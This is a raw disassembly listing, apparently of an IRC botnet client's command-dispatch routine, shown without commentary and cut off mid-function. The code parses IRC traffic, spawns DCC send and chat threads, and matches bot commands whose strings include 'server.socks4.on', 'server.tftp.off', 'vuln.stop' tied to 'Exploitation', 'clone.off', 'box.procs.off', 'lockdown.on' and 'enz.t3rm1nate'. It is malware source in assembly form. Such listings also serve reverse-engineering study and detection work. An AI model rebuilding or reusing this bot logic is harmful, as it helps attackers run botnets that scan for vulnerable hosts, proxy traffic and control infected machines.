loc_40B722: ; CODE XREF: seg000:0040B5FAj
; seg000:0040D4BFj ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40B727: ; CODE XREF: seg000:0040B64Dj
push esi
push offset aNick ; "NICK"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jnz loc_40B87D
mov eax, [ebp-8Ch]
mov esi, [ebp+20h]
inc eax
mov dword ptr [ebp+8], 2
mov [ebp+2Ch], eax
loc_40B750: ; CODE XREF: seg000:0040B7A2j
lea eax, [ebp-0A94h]
push eax
push esi
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40B79D
lea eax, [ebp-0A94h]
push 21h
push eax
call sub_415110
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+24h], eax
jz short loc_40B79D
push dword ptr [ebp+2Ch]
lea edi, [esi+2]
mov byte ptr [esi], 3Ah
lea eax, [edi-1]
push eax
call sub_413CC0
push dword ptr [ebp+24h]
push edi
call sub_413CD0
add esp, 10h
mov edi, 80h
loc_40B79D: ; CODE XREF: seg000:0040B761j
; seg000:0040B778j
add esi, edi
dec dword ptr [ebp+8]
jnz short loc_40B750
lea eax, [ebp-0C4h]
test eax, eax
jz loc_40B71F
cmp [ebp+2Ch], ebx
jz loc_40B71F
push dword ptr [ebp+18h]
lea eax, [ebp-0C4h]
push eax
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40B7E5
push 0Fh
push dword ptr [ebp+2Ch]
push dword ptr [ebp+18h]
call sub_414DD0
add esp, 0Ch
jmp loc_40B71F
; ---------------------------------------------------------------------------
loc_40B7E5: ; CODE XREF: seg000:0040B7CEj
mov edi, [ebp+20h]
xor esi, esi
loc_40B7EA: ; CODE XREF: seg000:0040B80Bj
cmp [edi], bl
jz short loc_40B801
lea eax, [ebp-0A94h]
push eax
push edi
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz short loc_40B812
loc_40B801: ; CODE XREF: seg000:0040B7ECj
inc esi
add edi, 80h
cmp esi, 2
jl short loc_40B7EA
jmp loc_40B71F
; ---------------------------------------------------------------------------
loc_40B812: ; CODE XREF: seg000:0040B7FFj
lea eax, [ebp-0A94h]
push 21h
push eax
call sub_415110
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+8], eax
jz loc_40B71F
push eax
call sub_413DB0
push dword ptr [ebp+2Ch]
mov edi, eax
call sub_413DB0
add edi, eax
pop ecx
cmp edi, 7Eh
pop ecx
ja loc_40B71F
push dword ptr [ebp+8]
shl esi, 7
push dword ptr [ebp+2Ch]
add esi, [ebp+20h]
push offset aSS ; ":%s%s"
push esi
call sub_4135AD
push ebx
lea eax, [ebp-4ACh]
push ebx
push eax
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
call sub_4110B0
add esp, 24h
jmp loc_40B71F
; ---------------------------------------------------------------------------
loc_40B87D: ; CODE XREF: seg000:0040B736j
push esi
push offset aPart ; "PART"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz short loc_40B89F
push esi
push offset aQuit ; "QUIT"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40B8C6
loc_40B89F: ; CODE XREF: seg000:0040B88Cj
mov edi, [ebp+20h]
xor esi, esi
loc_40B8A4: ; CODE XREF: seg000:0040B8C4j
cmp [edi], bl
jz short loc_40B8BA
push dword ptr [ebp-94h]
push edi
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz short loc_40B914
loc_40B8BA: ; CODE XREF: seg000:0040B8A6j
inc esi
add edi, 80h
cmp esi, 2
jl short loc_40B8A4
loc_40B8C6: ; CODE XREF: seg000:0040B89Dj
push dword ptr [ebp-90h]
push offset a353 ; "353"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jnz loc_40B975
push dword ptr [ebp-84h]
push dword ptr [ebp+10h]
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40B8FD
mov eax, [ebp+28h]
mov dword ptr [eax], 1
loc_40B8FD: ; CODE XREF: seg000:0040B8F2j
push dword ptr [ebp-84h]
push offset dword_42B820
loc_40B908: ; CODE XREF: seg000:004108D6j
; seg000:00410C4Fj ...
call sub_409689
pop ecx
loc_40B90E: ; CODE XREF: seg000:00410D64j
pop ecx
jmp loc_40B71F
; ---------------------------------------------------------------------------
loc_40B914: ; CODE XREF: seg000:0040B8B8j
mov eax, [ebp+20h]
shl esi, 7
mov [esi+eax], bl
lea eax, [ebp-0C4h]
push eax
lea eax, [ebp-2C8h]
push offset dword_42B7EC
push eax
call sub_4135AD
lea eax, [ebp-2C8h]
push eax
call sub_409615
push dword ptr [ebp-90h]
push offset aPart ; "PART"
call sub_4139D0
add esp, 18h
test eax, eax
jnz loc_40B71F
lea eax, [ebp-2C8h]
push eax
mov eax, [ebp-94h]
inc eax
push eax
push offset aNoticeSS ; "NOTICE %s :%s\r\n"
jmp loc_40B714
; ---------------------------------------------------------------------------
loc_40B975: ; CODE XREF: seg000:0040B8DAj
push dword ptr [ebp-90h]
mov esi, offset aPrivmsg ; "PRIVMSG"
push esi
call sub_4139D0
pop ecx
mov edi, offset aNotice ; "NOTICE"
test eax, eax
pop ecx
jz short loc_40B9C9
push dword ptr [ebp-90h]
push edi
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz short loc_40B9C9
push dword ptr [ebp-90h]
push offset dword_42B7D8
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jnz loc_410E98
cmp ds:dword_428234, ebx
jz loc_410E98
loc_40B9C9: ; CODE XREF: seg000:0040B98Fj
; seg000:0040B9A1j
push dword ptr [ebp-90h]
push esi
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40BB4F
push dword ptr [ebp-90h]
push edi
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40BB4F
mov eax, [ebp-88h]
inc dword ptr [ebp-84h]
push 4
mov [ebp-8Ch], eax
pop esi
mov [ebp-0ACh], esi
loc_40BA10: ; CODE XREF: seg000:0040BC0Bj
; seg000:0040BC9Cj ...
shl esi, 2
mov eax, [ebp+esi-94h]
lea edi, [ebp+esi-94h]
push eax
push offset dword_42B7D0
mov [ebp+10h], eax
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jnz loc_40BE49
push dword ptr [ebp+esi-90h]
push offset aSend_0 ; "SEND"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jnz loc_40BD07
cmp [ebp-98h], ebx
jz loc_40BCDD
push dword ptr [ebp+esi-8Ch]
mov edi, offset aS_1 ; "%s"
lea eax, [ebp-6FCh]
push edi
push eax
call sub_4135AD
push dword ptr [ebp+esi-88h]
lea eax, [ebp-710h]
push edi
push eax
call sub_4135AD
push dword ptr [ebp+esi-84h]
call sub_413B1F
mov [ebp-578h], eax
mov eax, [ebp+0Ch]
mov [ebp-718h], eax
lea eax, [ebp-0C4h]
push 7Fh
push eax
lea eax, [ebp-5F8h]
push eax
call sub_414DD0
mov eax, [ebp-4]
mov [ebp-570h], eax
mov eax, [ebp-8]
mov [ebp-56Ch], eax
lea eax, [ebp-5F8h]
push eax
lea eax, [ebp-6FCh]
push eax
lea eax, [ebp-2C8h]
push offset dword_42B788
push eax
call sub_4135AD
push ebx
lea eax, [ebp-2C8h]
push 12h
push eax
call sub_413059
add esp, 44h
mov [ebp-574h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-718h]
push ebx
push eax
push offset sub_409F42
push ebx
push ebx
call ds:dword_41F06C ; CreateThread
mov ecx, [ebp-574h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4348AC[ecx], eax
jz loc_40BCCC
loc_40BB39: ; CODE XREF: seg000:0040BB4Dj
cmp [ebp-568h], ebx
jnz loc_40BCFF
push 32h
call ds:dword_41F058 ; Sleep
jmp short loc_40BB39
; ---------------------------------------------------------------------------
loc_40BB4F: ; CODE XREF: seg000:0040B9D9j
; seg000:0040B9EFj
push dword ptr [ebp-90h]
push edi
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40BB68
mov dword ptr [ebp-4], 1
loc_40BB68: ; CODE XREF: seg000:0040BB5Fj
cmp [ebp-8Ch], ebx
jz loc_40B71F
push (offset loc_4229CF+1)
push dword ptr [ebp-8Ch]
call sub_413B80
pop ecx
test eax, eax
pop ecx
jz short loc_40BB8F
cmp [ebp-4], ebx
jz short loc_40BB9B
loc_40BB8F: ; CODE XREF: seg000:0040BB88j
lea eax, [ebp-0C4h]
mov [ebp-8Ch], eax
loc_40BB9B: ; CODE XREF: seg000:0040BB8Dj
cmp [ebp-88h], ebx
jz loc_40B71F
inc dword ptr [ebp-88h]
jz short loc_40BBE7
cmp [ebp+18h], ebx
jz short loc_40BBE7
lea eax, [ebp-564h]
push eax
call sub_413DB0
push eax
lea eax, [ebp-564h]
push dword ptr [ebp-88h]
push eax
call sub_414F60
mov esi, eax
add esp, 10h
neg esi
sbb esi, esi
add esi, 4
mov [ebp-0ACh], esi
jmp short loc_40BBED
; ---------------------------------------------------------------------------
loc_40BBE7: ; CODE XREF: seg000:0040BBADj
; seg000:0040BBB2j
mov esi, [ebp-0ACh]
loc_40BBED: ; CODE XREF: seg000:0040BBE5j
mov edi, [ebp+esi*4-94h]
cmp edi, ebx
jz loc_40B71F
push edi
push offset dword_42B77C
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jnz loc_40BA10
mov ecx, [ebp-8Ch]
cmp byte ptr [ecx], 23h
jz short loc_40BC8D
mov eax, ds:dword_45DD0C
mov eax, ds:off_4282FC[eax*4]
cmp [eax], bl
jz short loc_40BC8D
push eax
push ecx
push offset dword_42B760
push dword ptr [ebp+0Ch]
call sub_41106A
lea eax, [ebp-0C4h]
push eax
lea eax, [ebp-2C8h]
push offset aSHasJustVersio ; "%s has just versioned me."
push eax
call sub_4135AD
lea eax, [ebp-2C8h]
push eax
call sub_409615
add esp, 20h
cmp [ebp-98h], ebx
jnz loc_40B71F
push ebx
lea eax, [ebp-2C8h]
push 1
push eax
push offset dword_45DC14
loc_40BC7D: ; CODE XREF: seg000:00410651j
push dword ptr [ebp+0Ch]
call sub_4110B0
add esp, 14h
jmp loc_40B71F
; ---------------------------------------------------------------------------
loc_40BC8D: ; CODE XREF: seg000:0040BC1Aj
; seg000:0040BC2Aj
push edi
push offset dword_42B73C
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jnz loc_40BA10
mov eax, [ebp+esi*4-90h]
cmp eax, ebx
jz loc_40BA10
mov ecx, [ebp-8Ch]
cmp byte ptr [ecx], 23h
jz loc_40BA10
push eax
push ecx
push offset dword_42B724
jmp loc_40B714
; ---------------------------------------------------------------------------
loc_40BCCC: ; CODE XREF: seg000:0040BB33j
call ds:dword_41F068 ; RtlGetLastWin32Error
push eax
push offset dword_42B6D8
jmp loc_40BE35
; ---------------------------------------------------------------------------
loc_40BCDD: ; CODE XREF: seg000:0040BA5Aj
lea eax, [ebp-0C4h]
push eax
lea eax, [ebp-2C8h]
push dword ptr [ebp+esi-8Ch]
push offset dword_42B684
push eax
call sub_4135AD
add esp, 10h
loc_40BCFF: ; CODE XREF: seg000:0040BB3Fj
; seg000:0040BDFDj ...
push 1
pop esi
jmp loc_40D4B0
; ---------------------------------------------------------------------------
loc_40BD07: ; CODE XREF: seg000:0040BA4Ej
push dword ptr [ebp+esi-90h]
push offset aChat ; "CHAT"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jnz loc_40BE5F
cmp [ebp-98h], ebx
jz loc_40BE29
push 13h
call sub_4132A1
test eax, eax
pop ecx
jnz loc_40BE1B
push dword ptr [ebp+esi-88h]
lea eax, [ebp-710h]
push offset aS_1 ; "%s"
push eax
call sub_4135AD
push dword ptr [ebp+esi-84h]
call sub_413B1F
mov [ebp-578h], eax
mov eax, [ebp+0Ch]
mov [ebp-718h], eax
lea eax, [ebp-0C4h]
push 7Fh
push eax
lea eax, [ebp-5F8h]
push eax
call sub_414DD0
mov eax, [ebp-4]
mov [ebp-570h], eax
mov eax, [ebp-8]
mov [ebp-56Ch], eax
lea eax, [ebp-0C4h]
push eax
lea eax, [ebp-2C8h]
push offset dword_42B648
push eax
call sub_4135AD
push ebx
lea eax, [ebp-2C8h]
push 13h
push eax
call sub_413059
add esp, 34h
mov [ebp-574h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-718h]
push ebx
push eax
push offset loc_4099DF
push ebx
push ebx
call ds:dword_41F06C ; CreateThread
mov ecx, [ebp-574h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4348AC[ecx], eax
jz short loc_40BE0D
loc_40BDF7: ; CODE XREF: seg000:0040BE0Bj
cmp [ebp-568h], ebx
jnz loc_40BCFF
push 32h
call ds:dword_41F058 ; Sleep
jmp short loc_40BDF7
; ---------------------------------------------------------------------------
loc_40BE0D: ; CODE XREF: seg000:0040BDF5j
call ds:dword_41F068 ; RtlGetLastWin32Error
push eax
push offset dword_42B600
jmp short loc_40BE35
; ---------------------------------------------------------------------------
loc_40BE1B: ; CODE XREF: seg000:0040BD38j
lea eax, [ebp-0C4h]
push eax
push offset dword_42B5BC
jmp short loc_40BE35
; ---------------------------------------------------------------------------
loc_40BE29: ; CODE XREF: seg000:0040BD28j
lea eax, [ebp-0C4h]
push eax
push offset dword_42B578
loc_40BE35: ; CODE XREF: seg000:0040BCD8j
; seg000:0040BE19j ...
lea eax, [ebp-2C8h]
push eax
call sub_4135AD
add esp, 0Ch
jmp loc_40BCFF
; ---------------------------------------------------------------------------
loc_40BE49: ; CODE XREF: seg000:0040BA33j
mov eax, [ebp+10h]
lea ecx, [eax+1]
mov al, [eax]
cmp al, ds:byte_42823C
mov [edi], ecx
jnz loc_40B71F
loc_40BE5F: ; CODE XREF: seg000:0040BD1Cj
mov edi, [edi]
push edi
push offset aNewshit ; "newshit"
mov [ebp+10h], edi
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_410EA0
push edi
push offset aHi_0 ; "hi"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_410EA0
cmp [ebp-98h], ebx
jnz short loc_40BEB0
push dword ptr [ebp-90h]
push offset dword_42B7D8
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jnz loc_410E98
loc_40BEB0: ; CODE XREF: seg000:0040BE94j
cmp [ebp+30h], ebx
jnz loc_410E98
xor edi, edi
cmp ds:dword_4283B8, ebx
jle loc_40C05C
mov dword ptr [ebp+28h], offset dword_433B18
loc_40BECE: ; CODE XREF: seg000:0040BEEDj
push dword ptr [ebp+10h]
push dword ptr [ebp+28h]
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz short loc_40BEF4
add dword ptr [ebp+28h], 0B8h
inc edi
cmp edi, ds:dword_4283B8
jl short loc_40BECE
jmp loc_40C05C
; ---------------------------------------------------------------------------
loc_40BEF4: ; CODE XREF: seg000:0040BEDDj
push offset asc_42B904 ; " :"
push dword ptr [ebp+8]
call sub_413B80
pop ecx
cmp eax, ebx
pop ecx
jz loc_40B71F
mov cl, ds:byte_42823C
imul edi, 0B8h
mov [eax+2], cl
mov cl, ds:byte_42823C
mov [eax+3], cl
lea ecx, dword_433B30[edi]
push 9Fh
add eax, 4
push ecx
push eax
call sub_414DD0
lea eax, [ebp+esi-54h]
add esp, 0Ch
mov dword ptr [ebp+28h], 0Fh
mov [ebp+14h], eax
loc_40BF49: ; CODE XREF: seg000:0040BFF1j
push dword ptr [ebp+28h]
lea eax, [ebp-0A4h]
push offset aD_0 ; "$%d-"
push eax
call sub_4135AD
lea eax, [ebp-0A4h]
push eax
push dword ptr [ebp+8]
call sub_413B80
add esp, 14h
test eax, eax
jz short loc_40BFB5
mov eax, [ebp+14h]
cmp [eax], ebx
jz short loc_40BFB5
lea eax, dword_433B18[edi]
push eax
call sub_413DB0
add [ebp-0Ch], eax
pop ecx
jz short loc_40BFE7
mov eax, [ebp+14h]
push dword ptr [eax-4]
push dword ptr [ebp-0Ch]
call sub_413B80
pop ecx
cmp eax, ebx
pop ecx
jz short loc_40BFE7
push eax
lea eax, [ebp-0A4h]
push eax
push dword ptr [ebp+8]
call sub_407E52
add esp, 0Ch
jmp short loc_40BFE7
; ---------------------------------------------------------------------------
loc_40BFB5: ; CODE XREF: seg000:0040BF71j
; seg000:0040BF78j
mov eax, [ebp+14h]
cmp [eax], ebx
jnz short loc_40BFE7
lea eax, [ebp-0A4h]
push 2
push eax
lea eax, [ebp-14h]
push eax
call sub_414DD0
lea eax, [ebp-14h]
mov [ebp-12h], bl
push eax
lea eax, [ebp-0A4h]
push eax
push dword ptr [ebp+8]
call sub_407E52
add esp, 18h
loc_40BFE7: ; CODE XREF: seg000:0040BF8Aj
; seg000:0040BF9Ej ...
dec dword ptr [ebp+28h]
sub dword ptr [ebp+14h], 4
cmp [ebp+28h], ebx
jg loc_40BF49
lea eax, [ebp+esi-54h]
mov dword ptr [ebp+28h], 10h
mov edi, eax
loc_40C004: ; CODE XREF: seg000:0040C050j
push dword ptr [ebp+28h]
lea eax, [ebp-0A4h]
push offset aD ; "$%d"
push eax
call sub_4135AD
lea eax, [ebp-0A4h]
push eax
push dword ptr [ebp+8]
call sub_413B80
add esp, 14h
test eax, eax
jz short loc_40C047
mov eax, [edi]
cmp eax, ebx
jz short loc_40C047
push eax
lea eax, [ebp-0A4h]
push eax
push dword ptr [ebp+8]
call sub_407E52
add esp, 0Ch
loc_40C047: ; CODE XREF: seg000:0040C02Cj
; seg000:0040C032j
dec dword ptr [ebp+28h]
sub edi, 4
cmp [ebp+28h], ebx
jg short loc_40C004
mov dword ptr [ebp-0C8h], 1
loc_40C05C: ; CODE XREF: seg000:0040BEC1j
; seg000:0040BEEFj
mov eax, [ebp+10h]
mov al, [eax]
cmp al, ds:byte_42823C
jz short loc_40C075
cmp [ebp-0C8h], ebx
jz loc_40C25A
loc_40C075: ; CODE XREF: seg000:0040C067j
push dword ptr [ebp+18h]
mov edi, [ebp+8]
push offset aMe_0 ; "$me"
push edi
call sub_407E52
lea eax, [ebp-0C4h]
push eax
push offset aUser_2 ; "$user"
push edi
call sub_407E52
push dword ptr [ebp-8Ch]
push offset aChan ; "$chan"
push edi
call sub_407E52
push ebx
push ebx
lea eax, [ebp-0A4h]
push 2
push eax
call sub_412797
push eax
push offset aRndnick ; "$rndnick"
push edi
call sub_407E52
add esp, 40h
push dword ptr [ebp+1Ch]
push offset aServer_0 ; "$server"
push edi
call sub_407E52
mov edi, offset aChr ; "$chr("
push edi
push dword ptr [ebp+8]
call sub_413B80
add esp, 14h
loc_40C0E7: ; CODE XREF: seg000:0040C1D3j
test eax, eax
jz loc_40C1D8
push edi
push dword ptr [ebp+8]
call sub_413B80
mov [ebp+18h], eax
add eax, 5
push 4
push eax
lea eax, [ebp-0A4h]
push eax
call sub_414DD0
lea eax, [ebp-0A4h]
push offset asc_42B52C ; ")"
push eax
call sub_414D28
add esp, 1Ch
cmp byte ptr [ebp-0A4h], 30h
jl short loc_40C133
cmp byte ptr [ebp-0A4h], 39h
jle short loc_40C149
loc_40C133: ; CODE XREF: seg000:0040C128j
push 3
lea eax, [ebp-0A4h]
push offset a63 ; "63"
push eax
call sub_414DD0
add esp, 0Ch
loc_40C149: ; CODE XREF: seg000:0040C131j
lea eax, [ebp-0A4h]
push eax
call sub_413B1F
test eax, eax
pop ecx
jle short loc_40C16C
lea eax, [ebp-0A4h]
push eax
call sub_413B1F
pop ecx
mov [ebp-14h], al
jmp short loc_40C17D
; ---------------------------------------------------------------------------
loc_40C16C: ; CODE XREF: seg000:0040C158j
call sub_413609
push 60h
cdq
pop ecx
idiv ecx
add dl, 20h
mov [ebp-14h], dl
loc_40C17D: ; CODE XREF: seg000:0040C16Aj
lea eax, [ebp-0A4h]
mov [ebp-13h], bl
push eax
call sub_413DB0
mov [ebp+28h], eax
push 0Ch
lea eax, [ebp-0A4h]
push ebx
push eax
call sub_413630
mov eax, [ebp+28h]
add eax, 6
push eax
lea eax, [ebp-0A4h]
push dword ptr [ebp+18h]
push eax
call sub_414DD0
lea eax, [ebp-14h]
push eax
lea eax, [ebp-0A4h]
push eax
push dword ptr [ebp+8]
call sub_407E52
push edi
push dword ptr [ebp+8]
call sub_413B80
add esp, 30h
jmp loc_40C0E7
; ---------------------------------------------------------------------------
loc_40C1D8: ; CODE XREF: seg000:0040C0E9j
mov edi, 1FFh
lea eax, [ebp-0F9Ch]
push edi
push dword ptr [ebp+8]
push eax
call sub_414DD0
lea eax, [ebp-0F9Ch]
push edi
push eax
lea eax, [ebp-119Ch]
push eax
call sub_414DD0
lea eax, [ebp-119Ch]
push offset asc_422D6C ; " "
push eax
call sub_414D28
add esp, 20h
mov [ebp-94h], eax
lea edi, [ebp-90h]
mov dword ptr [ebp+18h], 1Fh
loc_40C228: ; CODE XREF: seg000:0040C23Dj
push offset asc_422D6C ; " "
push ebx
call sub_414D28
mov [edi], eax
pop ecx
add edi, 4
dec dword ptr [ebp+18h]
pop ecx
jnz short loc_40C228
mov ecx, [ebp+esi-94h]
lea eax, [ebp+esi-94h]
cmp ecx, ebx
jz loc_40B71F
add ecx, 3
mov [eax], ecx
loc_40C25A: ; CODE XREF: seg000:0040C06Fj
mov edi, [ebp+esi-94h]
push edi
push offset aEnz_rndnick ; "enz.rndnick"
mov [ebp+10h], edi
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_410E4B
push edi
push offset aEnz_rn ; "enz.rn"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_410E4B
push edi
push offset aEnz_endsess ; "enz.endsess"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_410E29
push edi
push offset aEnz_d ; "enz.d"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_410E29
push edi
push offset aEnz_logout ; "enz.logout"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_410D87
push edi
push offset aEnz_lo ; "enz.lo"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_410D87
push edi
push offset aEnz_version ; "enz.version"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_410D69
push edi
push offset aEnz_ver ; "enz.ver"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_410D69
push edi
push offset aLockdown_on ; "lockdown.on"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_410C54
push edi
push offset aLd_on ; "ld.on"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_410C54
push edi
push offset aLockdown_off ; "lockdown.off"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_410C54
push edi
push offset aLd_off ; "ld.off"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_410C54
push edi
push offset aServer_socks4_ ; "server.socks4.on"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_410B32
push edi
push offset aServer_s4_on ; "server.s4.on"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_410B32
push edi
push offset aServer_socks_0 ; "server.socks4.off"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40C3CA
push dword ptr [ebp+esi-90h]
push 11h
push offset aServer ; "Server"
push offset dword_42B45C
loc_40C3AE: ; CODE XREF: seg000:0040C3EEj
; seg000:0040C414j ...
push dword ptr [ebp-8]
push dword ptr [ebp-4]
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_4132E7
add esp, 20h
jmp loc_40B71F
; ---------------------------------------------------------------------------
loc_40C3CA: ; CODE XREF: seg000:0040C399j
push edi
push offset aServer_rlogin_ ; "server.rlogin.off"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40C3F0
push dword ptr [ebp+esi-90h]
push 6
push offset aServer ; "Server"
push offset dword_42B438
jmp short loc_40C3AE
; ---------------------------------------------------------------------------
loc_40C3F0: ; CODE XREF: seg000:0040C3D9j
push edi
push offset dword_42B428
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40C416
push dword ptr [ebp+esi-90h]
push 3
push offset aServer ; "Server"
push offset dword_42B41C
jmp short loc_40C3AE
; ---------------------------------------------------------------------------
loc_40C416: ; CODE XREF: seg000:0040C3FFj
push edi
push offset dword_42B414
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40C43F
push dword ptr [ebp+esi-90h]
push 1Ch
push offset dword_42B408
push offset dword_42B3FC
jmp loc_40C3AE
; ---------------------------------------------------------------------------
loc_40C43F: ; CODE XREF: seg000:0040C425j
push edi
push offset aServer_redirec ; "server.redirect.off"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40C468
push dword ptr [ebp+esi-90h]
push 10h
push offset dword_42B3D8
push offset dword_42B3C8
jmp loc_40C3AE
; ---------------------------------------------------------------------------
loc_40C468: ; CODE XREF: seg000:0040C44Ej
push edi
push offset dword_42B3BC
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40C491
push dword ptr [ebp+esi-90h]
push 0Ah
push offset dword_42B3B0
push offset dword_42B3A4
jmp loc_40C3AE
; ---------------------------------------------------------------------------
loc_40C491: ; CODE XREF: seg000:0040C477j
push edi
push offset dword_42B394
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40C4BA
push dword ptr [ebp+esi-90h]
push 0Bh
push offset dword_42B388
push offset dword_42B37C
jmp loc_40C3AE
; ---------------------------------------------------------------------------
loc_40C4BA: ; CODE XREF: seg000:0040C4A0j
push edi
push offset dword_42B36C
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40C4E3
push dword ptr [ebp+esi-90h]
push 0Fh
push offset dword_42B360
push offset dword_42B354
jmp loc_40C3AE
; ---------------------------------------------------------------------------
loc_40C4E3: ; CODE XREF: seg000:0040C4C9j
push edi
push offset dword_42B344
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40C50C
push dword ptr [ebp+esi-90h]
push 0Eh
push offset dword_42B338
push offset dword_42B32C
jmp loc_40C3AE
; ---------------------------------------------------------------------------
loc_40C50C: ; CODE XREF: seg000:0040C4F2j
push edi
push offset aServer_tftp_of ; "server.tftp.off"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40C535
push dword ptr [ebp+esi-90h]
push 4
push offset aServer ; "Server"
push offset dword_42B310
jmp loc_40C3AE
; ---------------------------------------------------------------------------
loc_40C535: ; CODE XREF: seg000:0040C51Bj
push edi
push offset aBox_findfile_o ; "box.findfile.off"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_410B1A
push edi
push offset aBox_ff_off ; "box.ff.off"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_410B1A
push edi
push offset aBox_procs_off ; "box.procs.off"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_410B02
push edi
push offset aBox_ps_off ; "box.ps.off"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_410B02
push edi
push offset aClone_off ; "clone.off"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40C5B2
push dword ptr [ebp+esi-90h]
push 17h
push offset aClone ; "Clone"
push offset dword_42B2B0
jmp loc_40C3AE
; ---------------------------------------------------------------------------
loc_40C5B2: ; CODE XREF: seg000:0040C598j
push edi
push offset aLockdown_stop ; "lockdown.stop"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40C5DB
push dword ptr [ebp+esi-90h]
push 19h
push offset aSecure_0 ; "Secure"
push offset dword_42B288
jmp loc_40C3AE
; ---------------------------------------------------------------------------
loc_40C5DB: ; CODE XREF: seg000:0040C5C1j
push edi
push offset aVuln_stop ; "vuln.stop"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40C604
push dword ptr [ebp+esi-90h]
push 8
push offset aScan ; "Scan"
push offset aExploitation ; "Exploitation"
jmp loc_40C3AE
; ---------------------------------------------------------------------------
loc_40C604: ; CODE XREF: seg000:0040C5EAj
push edi
push offset aVuln_stats ; "vuln.stats"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_410AEC
push edi
push offset aVuln_st ; "vuln.st"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_410AEC
push edi
push offset aEnz_reh4sh ; "enz.reh4sh"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_410ACB
push edi
push offset aEnz_rh4 ; "enz.rh4"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_410ACB
push edi
push offset aEnz_endt3rm ; "enz.endt3rm"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_410AA9
push edi
push offset aEnz_et3 ; "enz.et3"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_410AA9
push edi
push offset aEnz_t3rm1nate ; "enz.t3rm1nate"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_410A61
push edi
push offset aEnz_t3rm1 ; "enz.t3rm1"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_410A61
push edi
push offset aEnz_status ; "enz.status"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_410A23
push edi
push offset aEnz_s ; "enz.s"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_410A23
push edi
push offset aEnz_id ; "enz.id"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_4109EC
push edi
push offset aEnz_i ; "enz.i"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_4109EC
push edi
push offset aBox_rebewt ; "box.rebewt"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40C752
call sub_40829B
test eax, eax
mov eax, offset dword_42B1AC
jnz short loc_40C724
mov eax, offset dword_42B174
loc_40C724: ; CODE XREF: seg000:0040C71Dj
push eax
